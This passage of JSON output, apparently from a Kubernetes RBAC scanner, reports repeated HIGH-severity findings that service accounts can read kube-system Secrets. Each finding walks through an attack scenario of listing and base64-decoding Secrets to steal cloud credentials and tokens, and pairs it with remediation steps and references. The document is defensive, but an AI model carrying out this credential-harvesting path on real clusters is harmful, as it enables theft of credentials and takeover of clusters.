        "title": "Minimize access to secrets",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:kube_system_secrets"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS:ServiceAccount/gw-workloads/gw-powerful:kube_system_secrets",
    "rule_id": "KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS",
    "severity": "HIGH",
    "score": 8.45,
    "category": "data_exfiltration",
    "title": "`ServiceAccount/gw-workloads/gw-powerful` can read **kube-system Secrets** in 1 hop(s)",
    "description": "Subject `ServiceAccount/gw-workloads/gw-powerful` has a privesc path that terminates in `get/list/watch secrets` in `kube-system`. This is not full cluster-admin, but it is the most consequential namespace to read. `kube-system` Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to `cluster-admin` (operator installers, helm-controllers).\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb the engine validated):\n  1. `ServiceAccount/gw-workloads/gw-powerful` → `/` via `read_secrets` (list secrets): can read secrets in kube-system or cluster-wide\n\nIn production clusters this path is the single most common one in `kubesplaining`'s output. `secrets:get` is over-granted by Helm chart defaults, by stale `view`-style roles, and by ConfigMap-reader roles that wildcard `resources` to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "gw-powerful",
      "namespace": "gw-workloads"
    },
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/gw-workloads/gw-powerful` → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide"
    },
    "impact": "Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.",
    "attack_scenario": [
      "Attacker compromises any workload mounting `ServiceAccount/gw-workloads/gw-powerful`.",
      "Acting as `ServiceAccount/gw-workloads/gw-powerful`, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (`list secrets`) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.",
      "Final step: the attacker has `get secrets -n kube-system`. They list every Secret, decode each `data` value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here."
    ],
    "evidence": {
      "chain_summary": [
        "1. read_secrets [list secrets]"
      ],
      "first_action": "read_secrets",
      "hop_count": 1,
      "target": "kube_system_secrets",
      "target_namespace": "",
      "techniques": [
        "read_secrets"
      ]
    },
    "remediation": "Eliminate the path by tightening `secrets:get` in `kube-system` to a narrow allowlist of system controllers, then break the chain at: remove the permission `list secrets` that enables the first hop (`ServiceAccount/gw-workloads/gw-powerful` → `/`).",
    "remediation_steps": [
      "List who can `get secrets -n kube-system`: `kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:\u003cns\u003e:\u003csa\u003e` for every workload SA, and `kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets` to find broad grants.",
      "Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.",
      "Break the chain at: remove the permission `list secrets` that enables the first hop (`ServiceAccount/gw-workloads/gw-powerful` → `/`).",
      "For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using `resourceNames`, not `resources: [secrets]`.",
      "Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting `secrets` verbs without `resourceNames` to non-system subjects."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://external-secrets.io/latest/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "External Secrets Operator",
        "url": "https://external-secrets.io/latest/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "read_secrets",
        "technique": "KUBE-PRIVESC-005",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "gw-powerful",
          "namespace": "gw-workloads"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "list secrets",
        "gains": "can read secrets in kube-system or cluster-wide",
        "source_binding": "gw-powerful-secrets",
        "source_role": "gw-secret-lister"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.2",
        "title": "Minimize access to secrets",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:kube_system_secrets"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS:ServiceAccount/imgswap-fixtures/imgswap-reader:kube_system_secrets",
    "rule_id": "KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS",
    "severity": "HIGH",
    "score": 8.45,
    "category": "data_exfiltration",
    "title": "`ServiceAccount/imgswap-fixtures/imgswap-reader` can read **kube-system Secrets** in 1 hop(s)",
    "description": "Subject `ServiceAccount/imgswap-fixtures/imgswap-reader` has a privesc path that terminates in `get/list/watch secrets` in `kube-system`. This is not full cluster-admin, but it is the most consequential namespace to read. `kube-system` Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to `cluster-admin` (operator installers, helm-controllers).\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb the engine validated):\n  1. `ServiceAccount/imgswap-fixtures/imgswap-reader` → `/` via `read_secrets` (get,list secrets): can read secrets in kube-system or cluster-wide\n\nIn production clusters this path is the single most common one in `kubesplaining`'s output. `secrets:get` is over-granted by Helm chart defaults, by stale `view`-style roles, and by ConfigMap-reader roles that wildcard `resources` to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "imgswap-reader",
      "namespace": "imgswap-fixtures"
    },
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/imgswap-fixtures/imgswap-reader` → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide"
    },
    "impact": "Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.",
    "attack_scenario": [
      "Attacker compromises any workload mounting `ServiceAccount/imgswap-fixtures/imgswap-reader`.",
      "Acting as `ServiceAccount/imgswap-fixtures/imgswap-reader`, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (`get,list secrets`) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.",
      "Final step: the attacker has `get secrets -n kube-system`. They list every Secret, decode each `data` value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here."
    ],
    "evidence": {
      "chain_summary": [
        "1. read_secrets [get,list secrets]"
      ],
      "first_action": "read_secrets",
      "hop_count": 1,
      "target": "kube_system_secrets",
      "target_namespace": "",
      "techniques": [
        "read_secrets"
      ]
    },
    "remediation": "Eliminate the path by tightening `secrets:get` in `kube-system` to a narrow allowlist of system controllers, then break the chain at: remove the permission `get,list secrets` that enables the first hop (`ServiceAccount/imgswap-fixtures/imgswap-reader` → `/`).",
    "remediation_steps": [
      "List who can `get secrets -n kube-system`: `kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:\u003cns\u003e:\u003csa\u003e` for every workload SA, and `kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets` to find broad grants.",
      "Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.",
      "Break the chain at: remove the permission `get,list secrets` that enables the first hop (`ServiceAccount/imgswap-fixtures/imgswap-reader` → `/`).",
      "For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using `resourceNames`, not `resources: [secrets]`.",
      "Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting `secrets` verbs without `resourceNames` to non-system subjects."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://external-secrets.io/latest/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "External Secrets Operator",
        "url": "https://external-secrets.io/latest/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "read_secrets",
        "technique": "KUBE-PRIVESC-005",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "imgswap-reader",
          "namespace": "imgswap-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "get,list secrets",
        "gains": "can read secrets in kube-system or cluster-wide",
        "source_binding": "crb-imgswap-secret-reader",
        "source_role": "cr-imgswap-secret-reader"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.2",
        "title": "Minimize access to secrets",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:kube_system_secrets"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS:ServiceAccount/privesc-fixtures/sa-secret-mint:kube_system_secrets",
    "rule_id": "KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS",
    "severity": "HIGH",
    "score": 8.45,
    "category": "data_exfiltration",
    "title": "`ServiceAccount/privesc-fixtures/sa-secret-mint` can read **kube-system Secrets** in 1 hop(s)",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-secret-mint` has a privesc path that terminates in `get/list/watch secrets` in `kube-system`. This is not full cluster-admin, but it is the most consequential namespace to read. `kube-system` Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to `cluster-admin` (operator installers, helm-controllers).\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb the engine validated):\n  1. `ServiceAccount/privesc-fixtures/sa-secret-mint` → `/` via `read_secrets` (create,get secrets): can read secrets in kube-system or cluster-wide\n\nIn production clusters this path is the single most common one in `kubesplaining`'s output. `secrets:get` is over-granted by Helm chart defaults, by stale `view`-style roles, and by ConfigMap-reader roles that wildcard `resources` to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-secret-mint",
      "namespace": "privesc-fixtures"
    },
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-secret-mint` → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide"
    },
    "impact": "Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.",
    "attack_scenario": [
      "Attacker compromises any workload mounting `ServiceAccount/privesc-fixtures/sa-secret-mint`.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-secret-mint`, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (`create,get secrets`) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.",
      "Final step: the attacker has `get secrets -n kube-system`. They list every Secret, decode each `data` value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here."
    ],
    "evidence": {
      "chain_summary": [
        "1. read_secrets [create,get secrets]"
      ],
      "first_action": "read_secrets",
      "hop_count": 1,
      "target": "kube_system_secrets",
      "target_namespace": "",
      "techniques": [
        "read_secrets"
      ]
    },
    "remediation": "Eliminate the path by tightening `secrets:get` in `kube-system` to a narrow allowlist of system controllers, then break the chain at: remove the permission `create,get secrets` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-secret-mint` → `/`).",
    "remediation_steps": [
      "List who can `get secrets -n kube-system`: `kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:\u003cns\u003e:\u003csa\u003e` for every workload SA, and `kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets` to find broad grants.",
      "Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.",
      "Break the chain at: remove the permission `create,get secrets` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-secret-mint` → `/`).",
      "For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using `resourceNames`, not `resources: [secrets]`.",
      "Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting `secrets` verbs without `resourceNames` to non-system subjects."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://external-secrets.io/latest/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "External Secrets Operator",
        "url": "https://external-secrets.io/latest/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "read_secrets",
        "technique": "KUBE-PRIVESC-006",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-secret-mint",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create,get secrets",
        "gains": "can read secrets in kube-system or cluster-wide",
        "source_binding": "crb-secret-mint",
        "source_role": "cr-secret-mint"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.2",
        "title": "Minimize access to secrets",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:kube_system_secrets"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS:ServiceAccount/privesc-fixtures/sa-secret-read:kube_system_secrets",
    "rule_id": "KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS",
    "severity": "HIGH",
    "score": 8.45,
    "category": "data_exfiltration",
    "title": "`ServiceAccount/privesc-fixtures/sa-secret-read` can read **kube-system Secrets** in 1 hop(s)",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-secret-read` has a privesc path that terminates in `get/list/watch secrets` in `kube-system`. This is not full cluster-admin, but it is the most consequential namespace to read. `kube-system` Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to `cluster-admin` (operator installers, helm-controllers).\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb the engine validated):\n  1. `ServiceAccount/privesc-fixtures/sa-secret-read` → `/` via `read_secrets` (get secrets): can read secrets in kube-system or cluster-wide\n\nIn production clusters this path is the single most common one in `kubesplaining`'s output. `secrets:get` is over-granted by Helm chart defaults, by stale `view`-style roles, and by ConfigMap-reader roles that wildcard `resources` to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-secret-read",
      "namespace": "privesc-fixtures"
    },
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-secret-read` → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide"
    },
    "impact": "Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.",
    "attack_scenario": [
      "Attacker compromises any workload mounting `ServiceAccount/privesc-fixtures/sa-secret-read`.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-secret-read`, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (`get secrets`) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.",
      "Final step: the attacker has `get secrets -n kube-system`. They list every Secret, decode each `data` value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here."
    ],
    "evidence": {
      "chain_summary": [
        "1. read_secrets [get secrets]"
      ],
      "first_action": "read_secrets",
      "hop_count": 1,
      "target": "kube_system_secrets",
      "target_namespace": "",
      "techniques": [
        "read_secrets"
      ]
    },
    "remediation": "Eliminate the path by tightening `secrets:get` in `kube-system` to a narrow allowlist of system controllers, then break the chain at: remove the permission `get secrets` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-secret-read` → `/`).",
    "remediation_steps": [
      "List who can `get secrets -n kube-system`: `kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:\u003cns\u003e:\u003csa\u003e` for every workload SA, and `kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets` to find broad grants.",
      "Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.",
      "Break the chain at: remove the permission `get secrets` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-secret-read` → `/`).",
      "For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using `resourceNames`, not `resources: [secrets]`.",
      "Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting `secrets` verbs without `resourceNames` to non-system subjects."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://external-secrets.io/latest/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "External Secrets Operator",
        "url": "https://external-secrets.io/latest/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "read_secrets",
        "technique": "KUBE-PRIVESC-006",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-secret-read",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "get secrets",
        "gains": "can read secrets in kube-system or cluster-wide",
        "source_binding": "crb-secret-read",
        "source_role": "cr-secret-read"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.2",
        "title": "Minimize access to secrets",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:kube_system_secrets"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS:ServiceAccount/vulnerable/privileged-reader:kube_system_secrets",
    "rule_id": "KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS",
    "severity": "HIGH",
    "score": 8.45,
    "category": "data_exfiltration",
    "title": "`ServiceAccount/vulnerable/privileged-reader` can read **kube-system Secrets** in 1 hop(s)",
    "description": "Subject `ServiceAccount/vulnerable/privileged-reader` has a privesc path that terminates in `get/list/watch secrets` in `kube-system`. This is not full cluster-admin, but it is the most consequential namespace to read. `kube-system` Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to `cluster-admin` (operator installers, helm-controllers).\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb the engine validated):\n  1. `ServiceAccount/vulnerable/privileged-reader` → `/` via `read_secrets` (get,list secrets): can read secrets in kube-system or cluster-wide\n\nIn production clusters this path is the single most common one in `kubesplaining`'s output. `secrets:get` is over-granted by Helm chart defaults, by stale `view`-style roles, and by ConfigMap-reader roles that wildcard `resources` to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "privileged-reader",
      "namespace": "vulnerable"
    },
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/vulnerable/privileged-reader` → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide"
    },
    "impact": "Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.",
    "attack_scenario": [
      "Attacker compromises any workload mounting `ServiceAccount/vulnerable/privileged-reader`.",
      "Acting as `ServiceAccount/vulnerable/privileged-reader`, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (`get,list secrets`) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.",
      "Final step: the attacker has `get secrets -n kube-system`. They list every Secret, decode each `data` value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here."
    ],
    "evidence": {
      "chain_summary": [
        "1. read_secrets [get,list secrets]"
      ],
      "first_action": "read_secrets",
      "hop_count": 1,
      "target": "kube_system_secrets",
      "target_namespace": "",
      "techniques": [
        "read_secrets"
      ]
    },
    "remediation": "Eliminate the path by tightening `secrets:get` in `kube-system` to a narrow allowlist of system controllers, then break the chain at: remove the permission `get,list secrets` that enables the first hop (`ServiceAccount/vulnerable/privileged-reader` → `/`).",
    "remediation_steps": [
      "List who can `get secrets -n kube-system`: `kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:\u003cns\u003e:\u003csa\u003e` for every workload SA, and `kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets` to find broad grants.",
      "Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.",
      "Break the chain at: remove the permission `get,list secrets` that enables the first hop (`ServiceAccount/vulnerable/privileged-reader` → `/`).",
      "For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using `resourceNames`, not `resources: [secrets]`.",
      "Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting `secrets` verbs without `resourceNames` to non-system subjects."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://external-secrets.io/latest/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
